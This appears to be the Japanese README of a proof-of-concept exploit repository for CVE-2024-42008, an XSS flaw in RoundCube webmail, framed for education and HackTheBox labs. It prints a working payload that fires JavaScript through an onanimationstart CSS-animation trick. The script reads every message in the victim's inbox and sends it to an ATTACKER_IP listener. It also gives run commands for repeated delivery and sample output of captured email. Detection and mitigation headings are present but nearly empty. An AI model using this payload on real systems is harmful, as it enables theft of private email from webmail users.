
このリポジトリには、RoundCube Webメールアプリケーションのクロスサイトスクリプティング(XSS)脆弱性である CVE-2024-42008 の概念実証エクスプロイトが含まれています。このエクスプロイトは、教育目的および HackTheBox のような管理されたペネトレーションテスト環境向けに設計されています。
この脆弱性は rcmail_action_mail_get->run() に存在し、リモートの攻撃者が被害者のブラウザ上で任意の JavaScript を実行できるようにします。この欠陥は、メールコンテンツを処理する際の入力検証が不十分であることに起因しており、特に CSS アニメーションと JavaScript 実行コンテキストの処理に関連しています。
主な攻撃ベクトル:
onanimationstart イベントハンドラーエクスプロイトが成功すると、攻撃者は以下を行うことができます:
このエクスプロイトは、3つの主要なコンポーネントで構成されています:
// The core XSS payload uses CSS animations to trigger JavaScript
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=
// 1. Fetch email list from victim's INBOX
fetch('/?_task=mail&_action=list&_mbox=INBOX&_page=&_remote=1')
.then(r=>r.text())
.then(t=>{
// 2. Extract email UIDs using regex
[...t.matchAll(/this\\.add_message_row\\((\\d+),/g)].forEach(m=>{
// 3. For each email, fetch full source
fetch(`/?_task=mail&_uid=${m[1]}&_mbox=INBOX&_action=viewsource`)
.then(r=>r.text())
.then(data=>{
// 4. Exfiltrate email data to attacker server
fetch(`http://ATTACKER_IP:PORT/?data=${encodeURIComponent(data)}`)
})
})
})
; foo=bar">
pip install requests
# Single payload delivery
python cve-2024-42008-exploit.py
# Continuous mode (every 30 seconds)
python cve-2024-42008-exploit.py -c
# Custom interval (every 60 seconds)
python cve-2024-42008-exploit.py -c -i 60
# Debug mode with proxy
python cve-2024-42008-exploit.py -d
スクリプトを編集して以下を設定します:
ATTACKER_IP: 待ち受けサーバーの IP アドレスATTACKER_PORT: 外部送信データを受信するポートRECIPIENT_EMAIL: 対象のメールアドレスTARGET_URL: 脆弱な RoundCube インスタンスPROXY: デバッグ用のプロキシサーバー(Burp Suite/Caido)| オプション | 説明 |
|---|---|
-d, --debug | プロキシサポート付きでデバッグモードを有効にする |
-c, --continuous | ペイロードを継続的に送信する |
-i, --interval | ペイロード間の間隔(デフォルト: 30秒) |
検出の兆候:
onanimationstart イベントハンドラー緩和策:
テストに関する考慮事項:
⚠️ 警告: このエクスプロイトは、教育および認可されたテスト目的のみで提供されています。
[+] Listening on 10.10.14.209:8001 for exfiltrated data...
[2024-07-09 10:30:15] POST Request Sent! Status Code: 200
[+] 📩 Captured Email Data:
Return-Path: <[email protected]>
Received: from localhost (localhost [127.0.0.1])
...
[Email content]
--------------------------------------------------
[+] 🔥 Email data saved to emails.log
このコードは、教育目的および認可されたペネトレーションテストのみを目的として提供されています。作者は、このソフトウェアによって引き起こされた誤用や損害について責任を負いません。システムをテストする前に、必ず適切な認可を取得してください。